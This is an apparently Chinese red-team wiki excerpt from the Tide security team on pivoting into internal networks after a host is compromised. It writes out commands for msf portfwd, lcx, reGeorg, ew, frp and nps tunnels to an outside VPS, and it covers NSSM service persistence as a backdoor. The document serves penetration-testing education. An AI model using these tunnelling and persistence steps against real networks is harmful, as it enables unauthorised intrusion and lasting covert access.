Tide安全团队Wiki从2020年7月创建以来,陆陆续续成立了红蓝对抗Wiki、移动安全Wiki、代码审计Wiki、应急响应Wiki、工控安全WiKi、物联网安全WiKi、远控免杀Wiki等栏目,后续会节选各小组部分文章于公众号进行发表。
关于更多的Wiki详情,欢迎有兴趣的小伙伴可以移步Tide安全团队Wiki栏目作进一步了解:https://www.yuque.com/tidesec
Tide-红蓝对抗Wiki由Tide安全团队红蓝对抗小组出品,团队成员具有丰富的红蓝对抗、重保演练行动等常态化经验。
红蓝对抗Wiki共计10章37节,系统介绍了从红蓝对抗经验到各种常见漏洞利用,以及免杀、社工等红队常用知识,本篇文章为红蓝对抗Wiki节选。

0x01 背景前言

在平时的渗透测试过程中经常会用到端口转发,通过代理脚本将内网流量代到本地进行访问,方便下一步对内网进行横向渗透。

当拿下内网一台主机的控制权后,需要通过代理转发的方式进入内网,整理几种常见的内网代理转发方法。

本次以远程桌面连接来进行说明,介绍几种常用的连接方式。

0x02 正向代理及反向代理

0x02.1 正向代理

构造代理服务器,用户将请求发送到代理服务器,代理服务器将请求发送到服务器,服务器将信息发送到代理服务器,代理服务器再将信息发送到用户。

0x02.2 反向代理

用户将请求发送到反向代理服务器,反向代理服务器将请求发送到服务器,服务器将信息发送到反向代理服务器,返现代理服务器将信息发送用户,常见应用场景为企业网访问互联网。

0x03 socks协议

SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。Socks介于传输层与表示层之间,使用TCP协议传输。

0x04 转发工具使用

0x04.1 msf反弹木马

使用条件:服务器通外网,拥有自己的公网ip
msf是我进行内网渗透中用的最多的工具,它内置了很多强大的功能,用起来相当方便。
msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。
portfwd add -l 5555 -p 3389 -r 172.16.86.153
转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。
rdesktop 127.1.1.0:8888
msf内置了socks模块,在session基础上配置路由,调用即可使用,但是速度和稳定性都很差,不做详细介绍。

0x04.2 lcx.exe

使用条件:服务器通外网,拥有自己的公网ip
lcx是一个经典的端口转发工具,直接把3389转发到公网的vps上。
通过大马上传lcx.exe,执行系统命令,其中1.1.1.1是vps的公网ip。
lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389
因为我公网vps使用的是linux的系统,lcx对应linux的工具为portmap 。
p1为监听的端口,p2为转发到的端口。
./portmap -m 2 -p1 9999 -p2 33889
成功监听到转发出的3389端口。
直接使用远程桌面服务连接1.1.1.1:33889

0x04.3 基于web服务的socks5隧道

基于web服务的socks5隧道的优点是,在内网服务器不通外网的情况下也能正常使用。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
本次只介绍reGeorg的具体用法。
选择对应脚本的tunnel上传到服务器。
访问上传文件,显示如下表示成功。
在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
打开Proxifier,更改为脚本指定的端口。
本地电脑成功通过socks5带进了目标主机的内网。(若失败,可能是某些防护检测到了异常流量,可采用reDuh)
本地电脑直接远程连接目标主机的内网ip。
冰蝎自带的socks代理原理相同,也是基于web服务的。

0x04.4 使用ew搭建socks5隧道

使用条件:目标主机通外网,拥有自己的公网ip
选择对应主机操作系统的执行文件。
目标主机为windows系统,选择上传ew_for_Win.exe文件。
公网vps使用ew_for_linux64文件。
首先在公网vps上执行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000
-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。
然后在目标主机中执行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000
socks5隧道建立成功,成功把自己的主机带进目标内网。
使用Proxifier,配置ip和连接端口。
连接远程桌面成功。

0x04.5 frp

传送门
使用条件:目标主机通外网,拥有自己的公网ip
首先需要在公网服务器搭建服务端,搭建方法参考:传送门
要注意的是,客户端和服务端的版本号要一致,否则无法正常使用。
对frpc.ini进行配置,为了保证搭建的隧道不对他人恶意利用,加入账户密码进行验证。
[socks5_proxy]

type = tcp

remote_port = 11000

plugin = socks5

plugin_user = xxx

plugin_passwd = xxx
上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe(在实战中可能会提示找不到配置文件,需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径)
公网vps主机上运行frps。
配置Proxifier的ip和连接端口,输入设置的账户密码。
隧道建立成功,连接远程桌面。
对于多台目标主机同时搭建多条socks5隧道,需要更改frpc.ini中配置的名称和端口号,在重复的情况下会提示端口占用。
渗透结束后记得把frpc的进程杀死,不然会一直和frps建立连接。
tasklist

taskkill /pid 进程号 -t -f

0x04.2 nps的使用及部署

0x04.2.1 搭建NPS(服务端)

下载地址:https://github.com/ehang-io/nps/releases在服务器上配置NPS服务端(linux、windows、macos)

0x04.2.2 搭建NPS(客户端)

下载地址:https://github.com/ehang-io/nps/releases客户端启用,填写vps地址、端口

npc -server=xxx.xxx.xxx.xxx:8024 -vkey=1234 -type=tcp

0x04.2.3 NPS使用手册

搭建好服务端NPS后,首先要创建好客户端信息。

设置socket5

0x04.2.4 NPS优点

1.可使用多个ket多个客户端

2.使用web界面较为简单,适合刚刚进入内网

3.有简单的流量加密

0x04.2.5 NPS使用

配置客户端

添加socks隧道

客户端设置

上传npc.exe到目标服务器上,根据提供连接信息,运行npc.exe

服务器控制器显示在线,转发成功通过proxifier代理。
类似的工具还有:sSocks,Termite等,不需要每种都掌握,有自己用的顺手的就行。

0x05 后门持久化

一般在网站服务的web服务关闭后,服务器重启后,大部门后门都会失效,这时需要用到系统服务封装工具。
以NSSM来进行示例,封装frpc为系统服务,建立持久的socks5隧道。
启动nssm图形化界面。
nssm install name
选择想要注册服务的exe应用。
设置服务的名字。直接点击install service,如下表示注册服务成功。
查看本地服务。
状态设置为启动,重启电脑进行测试,重启后frpc.exe自动运行,成功和frps连接。
删除服务。
nssm remove <servicename>
E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们
继续阅读
阅读原文